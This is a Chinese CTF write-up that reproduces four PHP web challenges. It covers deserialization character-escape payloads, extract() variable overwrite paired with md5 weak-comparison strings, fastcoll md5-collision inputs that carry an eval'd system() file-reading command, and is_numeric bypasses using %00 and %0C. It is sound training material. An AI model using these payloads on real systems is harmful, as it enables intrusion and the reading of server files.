今天上午朋友分享了一个CTF比赛,但是起床就是9点多了,急忙备份了一下源码,十点上课上到中午,吃完饭回来简单复现一下

web1

考点:PHP反序列化字符逃逸

O4oTXc.png
GET上去的qqqqwwww存入一个数组,然后继续序列化,对序列化的字符串进行过滤,然后再反序列化,一看就是字符减少型的反序列化字符逃逸。
写个简单的demo测试一下

<?php
function ycctfwf($info){
    $filter_arr = array('system','flag','eval');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$info);
}
$profile['qqqqqqqq']="aaa";
$profile['wwww']="flag3.php";
$info = ycctfwf(serialize($profile));
echo serialize($info);

输出结果是a:2:{s:8:"qqqqqqqq";s:3:"aaa";s:4:"wwww";s:3:"bbb";}
把bbb改成flag3.php,结果就变成a:2:{s:8:"qqqqqqqq";s:3:"aaa";s:4:"wwww";s:9:"3.php";},其中flag被过滤,s:9显然是不对的,所以不能进行反序列化,那么就可以利用qqqqqqqq吞取后面错误的代码,然后利用wwww构造自己想要的代码。
目标是把后面构造成;s:4:"wwww";s:9:"flag3.php";},但是由于会吞一个flag,所以后面写成;s:4:"wwww";s:9:"flflagag3.php";}即可,那么令wwww的值为;s:4:"wwww";s:9:"flflagag3.php";}之后,序列化的结果是这样的a:2:{s:8:"qqqqqqqq";s:3:"aaa";s:4:"wwww";s:33:";s:4:"wwww";s:9:"flag3.php";}";},现在需要让aaa";s:4:"wwww";s:33:qqqqqqqq吞取,长度是21,而黑名单只有6字符,4字符,不可能组合产生21个空字符,问题不大,随便试试,去掉一个a,那么s变成2,那么要吞20个字符,需要再添加18个字符,这是可以实现的,systemevalevaleval即可。
所以payload:qqqq=aasystemevalevaleval&wwww=;s:4:"wwww";s:9:"flflagag3.php";}
O4oWzr.png

web2

变量覆盖

O4obPM.png
extract存在变量覆盖问题,直接覆盖content$$var即可,其中$$var=$ycflag,同时还需要进行md5弱比较,网上搜两个即可
所以可以这样传参,ycflag=s878926199a&content=s155964671a
O4qZiq.png

web3

考点:md5强比较,RCE

O4qvtc.png

直接上fastcoll就行,不过不知道当时比赛环境是windows还是linux,怎么用的是type
fastcoll生成的文件开头就是自己写的代码,但是放在eval里面,如果后面是乱码就不能执行命令,所以需要注释一下后面乱码
可以这样写,这是本地linux测试的

system("base64 flag1.php");//system("type flag1.php");

把这个内容写入txt,然后拖到fastcoll,就生成了连个md5相同的文件,然后进行url编码

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
$a = urlencode(readmyfile("a_msg1.txt"));
$b = urlencode(readmyfile("a_msg2.txt"));
echo "x=".$a;
echo "&y=".$b;

然后生成system%28%22base64+flag1.php%22%29%3B%2F%2Fsystem%28%22type+flag1.php%22%29%3B%00%00%00%00%00%00%00%00%00%00%EE%DC%03%A1%80x%C6%89p%93E%E1%EC%D8%2AY%DA%28%AF%AFv%7Dw%969%A6%7C%22f%BE1%D9o%A3%B9%BF%5C%EEK%2C%E7%05%BD%14%C6%8F%F6%1D%8F%1DY%DC%96%15t%DD%CC%29QsY%B1AK-%29%AB1%A1%C2%B1%A1%EFV%81Li%12%22%17P%BEcm%29%86%16%2B%C9Z%F6%CD%ECG%FEmX%C3F%16%02%CA%22%3D%C8ct7%8E%A0ahU%05%10%E6i%BA%89%F5%A2V%0E%1B%8B%C7s%CB&y=system%28%22base64+flag1.php%22%29%3B%2F%2Fsystem%28%22type+flag1.php%22%29%3B%00%00%00%00%00%00%00%00%00%00%EE%DC%03%A1%80x%C6%89p%93E%E1%EC%D8%2AY%DA%28%AF%2Fv%7Dw%969%A6%7C%22f%BE1%D9o%A3%B9%BF%5C%EEK%2C%E7%05%BD%14%C6%0F%F7%1D%8F%1DY%DC%96%15t%DD%CC%29Q%F3Y%B1AK-%29%AB1%A1%C2%B1%A1%EFV%81Li%12%22%17P%BEc%ED%29%86%16%2B%C9Z%F6%CD%ECG%FEmX%C3F%16%02%CA%22%3D%C8ct7%8E+ahU%05%10%E6i%BA%89%F5%A2V%0E%9B%8B%C7s%CB
O4q26i.png
O4q8bX.png

web4

O45dxc.png
发现是个原题https://blog.csdn.net/qq_36292543/article/details/132598204
is_numeric用空字符%00绕过,is_hwhs_number用%0C绕过
O45sJr.png
O45VlM.png